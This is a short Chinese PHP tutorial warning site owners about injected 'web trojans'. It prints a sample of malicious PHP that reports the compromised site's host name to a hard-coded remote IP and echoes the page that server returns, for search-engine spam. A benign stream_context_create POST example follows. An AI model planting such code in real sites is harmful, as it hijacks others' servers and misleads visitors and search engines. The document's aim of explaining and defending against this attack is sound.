# 常见的PHP网页木码
>[success]网站上线后,就容易被恶意挂码,除了做好网站安全外,还要了解,常见的挂码方式。
>
## 下面就是一个恶意的代码
>[success]这种的还不算是最为严中的,他只是让在你的站点中增加了一个php文件,当搜索引擎访问题,会打开他们指定的内容。
>
>[success]这种攻击,一般会在站点根目录生成一个`global`文件,下面的php文件,就是通过这个文件生成的。
~~~
set_time_limit(0);
header("Content-Type: text/html;charset=gb2312");
$Remote_server = "http://122.114.242.133/";
$host_name = "http://".$_SERVER['SERVER_NAME'].$_SERVER['PHP_SELF'];
$Content_mb=getHTTPPage($Remote_server."/index.php?host=".$host_name);
function getHTTPPage($url) {
$opts = array(
'http'=>array(
'method'=>"GET",
'header'=>"User-Agent: aQ0O010O"
)
);
$context = stream_context_create($opts);
$html = @file_get_contents($url, false, $context);
if (empty($html)) {
exit("
Connection Error!
");}
return $html;
}
echo $Content_mb;
?>
~~~
>[danger]stream_context_create — 创建资源流上下文
>stream_context_create()模拟POST/GET,
~~~
//请求数据
$data =[
'name'=>'zhangsan',
'age'=>25,
];
//http_build_query — 生成 URL-encode 之后的请求字符串
$data = http_build_query($data);
//post请求地址
$url="http://www.127.0.0.1/test.php"
//配置请求方式及请求参数等
$options = array(
'http' => array(
'method' => 'POST',
'header' => 'Content-type:application/x-www-form-urlencoded',
'content' => $data
//'timeout' => 60 * 60 // 超时时间(单位:s)
)
);
//stream_context_create — 创建资源流上下文
$context = stream_context_create($options);
//获取数据
$result = file_get_contents($url, false, $context);
~~~